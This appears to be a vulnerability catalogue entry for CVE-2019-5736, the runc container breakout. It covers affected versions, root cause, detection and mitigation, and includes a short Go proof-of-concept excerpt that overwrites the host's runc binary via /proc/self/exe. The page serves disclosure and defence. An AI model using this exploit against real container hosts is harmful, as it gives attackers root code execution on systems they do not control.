every *2shell, one place
← all bugs

runc Container Breakout

aka runc /proc/self/exe overwrite
Product
Open Containers Initiative runc (Docker, containerd, Kubernetes, LXC)
CVE
CVE-2019-5736
Disclosed
2019-02-11
CVSS
8.6
Auth
requires auth / interaction
CISA KEV
no
Affected
runc through 1.0-rc6 (Docker before 18.09.2), and LXC; affects Kubernetes and other platforms using runc.
Fixed
runc commit 0a8e4117 (1.0-rc7), Docker 18.09.2, LXC fixes.

Summary

A container escape found by Adam Iwaniuk and Borys Popławski. A malicious image or a root process in a container can overwrite the host's runc binary, so code runs as root on the host the next time someone runs docker exec or starts a container.

Root cause

When runc enters a container (exec/run), the process temporarily appears in the container's /proc. A container process can open /proc/[runc-pid]/exe (or symlink its entrypoint to /proc/self/exe) to get a handle to the host's runc binary, then reopen it with O_WRONLY once runc exits and overwrite it. The fix makes runc re-exec itself from a sealed memfd copy.

Impact

Root code execution on the container host from inside a container (malicious image or compromised container with root).

Public PoC

// inside the container (as root): replace /bin/sh with #!/proc/self/exe
fd, _ := os.Create("/bin/sh")
fmt.Fprintln(fd, "#!/proc/self/exe")
// wait for host admin to 'docker exec <ctr> /bin/sh' -> runc executes itself
// find runc's pid, grab a read handle to its binary
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(pid)+"/exe", os.O_RDONLY, 0777)
// once runc exits, reopen via /proc/self/fd and overwrite with payload
w, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(int(handle.Fd())), os.O_WRONLY|os.O_TRUNC, 0700)
w.Write([]byte("#!/bin/bash \n" + payload))

Source: Frichetten - CVE-2019-5736-PoC

Detection

Check runc --version / docker version; monitor for writes to the runc binary (file integrity monitoring) and container processes opening /proc/*/exe of host-side runc.

Mitigation

Upgrade runc/Docker; run containers as non-root users or with user namespaces; SELinux in enforcing mode blocks the known exploit on RHEL.

References